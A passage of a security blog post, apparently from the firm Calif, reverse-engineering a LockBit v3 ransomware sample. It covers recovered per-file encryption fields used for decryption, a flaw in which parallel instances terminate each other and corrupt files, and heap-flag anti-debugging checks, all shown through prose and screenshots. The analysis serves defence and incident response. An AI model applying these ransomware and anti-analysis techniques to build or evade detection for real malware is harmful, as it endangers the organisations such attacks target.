data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/30009c49-abb8-4ce0-84c5-2da5abecfda8_1597x840.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:766,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:238097,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!hquq!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F30009c49-abb8-4ce0-84c5-2da5abecfda8_1597x840.png 424w, https://substackcdn.com/image/fetch/$s_!hquq!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F30009c49-abb8-4ce0-84c5-2da5abecfda8_1597x840.png 848w, https://substackcdn.com/image/fetch/$s_!hquq!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F30009c49-abb8-4ce0-84c5-2da5abecfda8_1597x840.png 1272w, https://substackcdn.com/image/fetch/$s_!hquq!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F30009c49-abb8-4ce0-84c5-2da5abecfda8_1597x840.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>The recovered file_encryption_info fields are:</p><ul><li><p>Compressed filename: 61 e0 2e e0 74 e0 78 db 09 02 00 00 (compressed a.txt)</p></li><li><p>filename_size: 0c 00 (0x0c)</p></li><li><p>skipped_bytes: 00 00 52 00 00 00 00 00 (0x520000 in little-endian)</p></li><li><p>before_chunk_count: 03 00 00 00 (0x03 in little-endian)</p></li><li><p>after_chunk_count: 03 00 00 00 (0x03 in little-endian)</p></li><li><p>file_encryption_key:</p></li></ul><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Svla!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2fb582f6-7d03-4dbb-9bdc-43456da8afa3_1418x198.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Svla!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2fb582f6-7d03-4dbb-9bdc-43456da8afa3_1418x198.png 424w, https://substackcdn.com/image/fetch/$s_!Svla!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2fb582f6-7d03-4dbb-9bdc-43456da8afa3_1418x198.png 848w, https://substackcdn.com/image/fetch/$s_!Svla!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2fb582f6-7d03-4dbb-9bdc-43456da8afa3_1418x198.png 1272w, https://substackcdn.com/image/fetch/$s_!Svla!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2fb582f6-7d03-4dbb-9bdc-43456da8afa3_1418x198.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Svla!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2fb582f6-7d03-4dbb-9bdc-43456da8afa3_1418x198.png" width="1418" height="198" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2fb582f6-7d03-4dbb-9bdc-43456da8afa3_1418x198.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:198,&quot;width&quot;:1418,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:60793,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!Svla!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2fb582f6-7d03-4dbb-9bdc-43456da8afa3_1418x198.png 424w, https://substackcdn.com/image/fetch/$s_!Svla!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2fb582f6-7d03-4dbb-9bdc-43456da8afa3_1418x198.png 848w, https://substackcdn.com/image/fetch/$s_!Svla!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2fb582f6-7d03-4dbb-9bdc-43456da8afa3_1418x198.png 1272w, https://substackcdn.com/image/fetch/$s_!Svla!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2fb582f6-7d03-4dbb-9bdc-43456da8afa3_1418x198.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>The recovered file_encryption_info structure allows us to decrypt the entire file following the decryption scheme described above.</p><h2>Data corruption</h2><p>This version of the LockBit&nbsp;v3&nbsp;ransomware has a design flaw that can cause permanent data loss. LockBit v3 has a mutex checking mechanism to ensure only one instance of itself is running on the infected system:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!c_Qy!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c083ec8-151a-4c14-af7f-46c51ffdab48_994x703.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!c_Qy!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c083ec8-151a-4c14-af7f-46c51ffdab48_994x703.png 424w, https://substackcdn.com/image/fetch/$s_!c_Qy!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c083ec8-151a-4c14-af7f-46c51ffdab48_994x703.png 848w, https://substackcdn.com/image/fetch/$s_!c_Qy!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c083ec8-151a-4c14-af7f-46c51ffdab48_994x703.png 1272w, https://substackcdn.com/image/fetch/$s_!c_Qy!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c083ec8-151a-4c14-af7f-46c51ffdab48_994x703.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!c_Qy!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c083ec8-151a-4c14-af7f-46c51ffdab48_994x703.png" width="994" height="703" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/8c083ec8-151a-4c14-af7f-46c51ffdab48_994x703.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:703,&quot;width&quot;:994,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:77862,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!c_Qy!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c083ec8-151a-4c14-af7f-46c51ffdab48_994x703.png 424w, https://substackcdn.com/image/fetch/$s_!c_Qy!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c083ec8-151a-4c14-af7f-46c51ffdab48_994x703.png 848w, https://substackcdn.com/image/fetch/$s_!c_Qy!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c083ec8-151a-4c14-af7f-46c51ffdab48_994x703.png 1272w, https://substackcdn.com/image/fetch/$s_!c_Qy!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c083ec8-151a-4c14-af7f-46c51ffdab48_994x703.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>However, this feature can be configured at build time&nbsp;and is disabled in our sample. The flag at byte_FC5129&nbsp;is part of the sample&#8217;s encrypted settings configured by the TA and set by the builder. When this feature is disabled, multiple instances of the ransomware can run on the infected system at one time.</p><p>The sample needs to process each file with exclusive access to the encryption logic. To do that, it attempts to terminate other processes that prevent exclusive access to the file. The sample uses the <a href="https://learn.microsoft.com/en-us/windows/win32/rstmgr/about-restart-manager">restart manager</a>&nbsp;family of APIs (<a href="https://learn.microsoft.com/en-us/windows/win32/api/restartmanager/nf-restartmanager-rmstartsession">RmStartSession()</a>, <a href="https://learn.microsoft.com/en-us/windows/win32/api/restartmanager/nf-restartmanager-rmregisterresources">RmRegisterResource()</a>, <a href="https://learn.microsoft.com/en-us/windows/win32/api/restartmanager/nf-restartmanager-rmgetlist">RmGetList()</a>) to get a list of processes with open handles to the file being encrypted. It then terminates all of those processes.</p><p>This design can cause permanent data corruption because of the following reasons:</p><ul><li><p>With multiple instances of the same ransomware running on the same system, one instance can attempt to terminate the other instance that is encrypting the same file. In this case, the randomly generated file_encryption_key&nbsp;from the 1st instance can not be recovered. The file is permanently corrupted. We can detect the corruption by observing files with multiple extra extensions, signaling that the files were encrypted multiple times. Each instance of the ransomware can have multiple encryption threads running parallel, each of which encrypts one file at a time. Since the number of concurrent threads is quite low, the number of files being affected in this case can potentially be low.</p></li><li><p>The sample may attempt to terminate another process that is currently writing and modifying the current file. This may cause data corruption depending on how the affected process is designed. We can not easily detect this case. However, the number of files being affected can be very high depending on the services running on the infected system and their utilization. Calif has observed files that are properly decrypted but are corrupted and not recognized by their associated applications.</p></li></ul><h1>Conclusion</h1><p>Analyzing the ransomware could provide critical intelligence when evaluating response strategies to ransomware attacks. In this case, Calif observed flaws in the ransomware design that allowed affected organizations to reconsider the true value of the ransom demand.&nbsp;We hope our analysis helps demystify the inner workings of one ransomware variant. We also hope to encourage more sharing of technical analysis, curated intelligence, and valuable lessons across organizations. Security demands collaboration as no organizations operate in a vacuum. The more secure our peers, the safer we are against cyber criminals.</p><div><hr></div><h1>Appendix A: Reverse engineering detail</h1><h2>Anti-debugging</h2><p>Typically, malware does not want to be analyzed. With a debugger, we can easily control the malware&#8217;s execution, dump data, or force the malware to execute a specific code path. Therefore, malware usually contains multiple anti-debugging checks. We found multiple said checks in this sample.</p><p>The first check occurs at 0x00FA63C5 (offset 0x57C5 into the file) as seen below:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!tH6J!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5d32f725-a9a1-49ae-8fa4-314f64b7e48f_681x537.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!tH6J!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5d32f725-a9a1-49ae-8fa4-314f64b7e48f_681x537.png 424w, https://substackcdn.com/image/fetch/$s_!tH6J!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5d32f725-a9a1-49ae-8fa4-314f64b7e48f_681x537.png 848w, https://substackcdn.com/image/fetch/$s_!tH6J!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5d32f725-a9a1-49ae-8fa4-314f64b7e48f_681x537.png 1272w, https://substackcdn.com/image/fetch/$s_!tH6J!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5d32f725-a9a1-49ae-8fa4-314f64b7e48f_681x537.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!tH6J!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5d32f725-a9a1-49ae-8fa4-314f64b7e48f_681x537.png" width="681" height="537" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/5d32f725-a9a1-49ae-8fa4-314f64b7e48f_681x537.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:537,&quot;width&quot;:681,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:47787,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!tH6J!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5d32f725-a9a1-49ae-8fa4-314f64b7e48f_681x537.png 424w, https://substackcdn.com/image/fetch/$s_!tH6J!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5d32f725-a9a1-49ae-8fa4-314f64b7e48f_681x537.png 848w, https://substackcdn.com/image/fetch/$s_!tH6J!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5d32f725-a9a1-49ae-8fa4-314f64b7e48f_681x537.png 1272w, https://substackcdn.com/image/fetch/$s_!tH6J!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5d32f725-a9a1-49ae-8fa4-314f64b7e48f_681x537.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>After manually resolving some Windows <strong>Application Programming Interfaces</strong>&nbsp;(<strong>APIs</strong>), the sample calls the RtlCreateHeap()&nbsp;function to create a new heap. The result is a <a href="https://learn.microsoft.com/en-us/windows/win32/sysinfo/handles-and-objects">HANDLE</a>&nbsp;to a window <a href="https://systemroot.gitee.io/pages/apiexplorer/d5/d5/struct__HEAP.html">HEAP</a> structure provided by the operating system for the current process. This HEAP structure is undocumented by Microsoft. To better understand this structure, refer to other online resources regarding the Windows HEAP. Significant to anti-debugging mechanisms, the HEAP&nbsp;structure contains two flags: <strong>Flag&nbsp;</strong>and <strong>ForceFlag</strong>. These values change depending on whether the current process is running under a debugger.</p><p>In the screenshot above, the sample checks the Flag&nbsp;field, which is at offset 0x40 byte into the undocumented HEAP structure. The value of this Flag&nbsp;field is 0x40041062 as shown in the screenshot below:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Mc5c!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F800efd09-7975-4a6f-9561-9b4676ae2666_1014x206.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Mc5c!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F800efd09-7975-4a6f-9561-9b4676ae2666_1014x206.png 424w, https://substackcdn.com/image/fetch/$s_!Mc5c!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F800efd09-7975-4a6f-9561-9b4676ae2666_1014x206.png 848w, https://substackcdn.com/image/fetch/$s_!Mc5c!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F800efd09-7975-4a6f-9561-9b4676ae2666_1014x206.png 1272w, https://substackcdn.com/image/fetch/$s_!Mc5c!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F800efd09-7975-4a6f-9561-9b4676ae2666_1014x206.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Mc5c!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F800efd09-7975-4a6f-9561-9b4676ae2666_1014x206.png" width="1014" height="206" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/800efd09-7975-4a6f-9561-9b4676ae2666_1014x206.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:206,&quot;width&quot;:1014,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:23919,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Mc5c!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F800efd09-7975-4a6f-9561-9b4676ae2666_1014x206.png 424w, https://substackcdn.com/image/fetch/$s_!Mc5c!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F800efd09-7975-4a6f-9561-9b4676ae2666_1014x206.png 848w, https://substackcdn.com/image/fetch/$s_!Mc5c!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F800efd09-7975-4a6f-9561-9b4676ae2666_1014x206.png 1272w, https://substackcdn.com/image/fetch/$s_!Mc5c!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F800efd09-7975-4a6f-9561-9b4676ae2666_1014x206.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>The sample gets the most significant 4 bits of the flag by rotating the Flag&nbsp;field 28 (0x1c) bits to the right, and tests the result against 0x04. This effectively tests the most significant byte of the Flag field against 0x40000000 (HEAP_VALIDATE_PARAMETER_ENABLED) which is set if the current process is running under a debugger.</p><p>If the sample detects a debugger, it modifies the HANDLE&nbsp;to the current process&#8217;s heap using the rol&nbsp;operation. This causes the process to crash if it ever tries to allocate any memory using the modified heap HANDLE&nbsp;in the future.</p><p>A similar check of the heap&#8217;s ForceFlag&nbsp;field is shown below:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!iT7m!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa183b87c-d074-4150-bd86-d2ba09b4d1ef_776x824.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!iT7m!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa183b87c-d074-4150-bd86-d2ba09b4d1ef_776x824.png 424w, https://substackcdn.com/image/fetch/$s_!iT7m!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa183b87c-d074-4150-bd86-d2ba09b4d1ef_776x824.png 848w, https://substackcdn.com/image/fetch/$s_!iT7m!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa183b87c-d074-4150-bd86-d2ba09b4d1ef_776x824.png 1272w, https://substackcdn.com/image/fetch/$s_!iT7m!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa183b87c-d074-4150-bd86-d2ba09b4d1ef_776x824.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!iT7m!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa183b87c-d074-4150-bd86-d2ba09b4d1ef_776x824.png" width="776" height="824" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a183b87c-d074-4150-bd86-d2ba09b4d1ef_776x824.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:824,&quot;width&quot;:776,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:98098,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!iT7m!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa183b87c-d074-4150-bd86-d2ba09b4d1ef_776x824.png 424w, https://substackcdn.com/image/fetch/$s_!iT7m!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa183b87c-d074-4150-bd86-d2ba09b4d1ef_776x824.png 848w, https://substackcdn.com/image/fetch/$s_!iT7m!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa183b87c-d074-4150-bd86-d2ba09b4d1ef_776x824.png 1272w, https://substackcdn.com/image/fetch/$s_!iT7m!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa183b87c-d074-4150-bd86-d2ba09b4d1ef_776x824.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 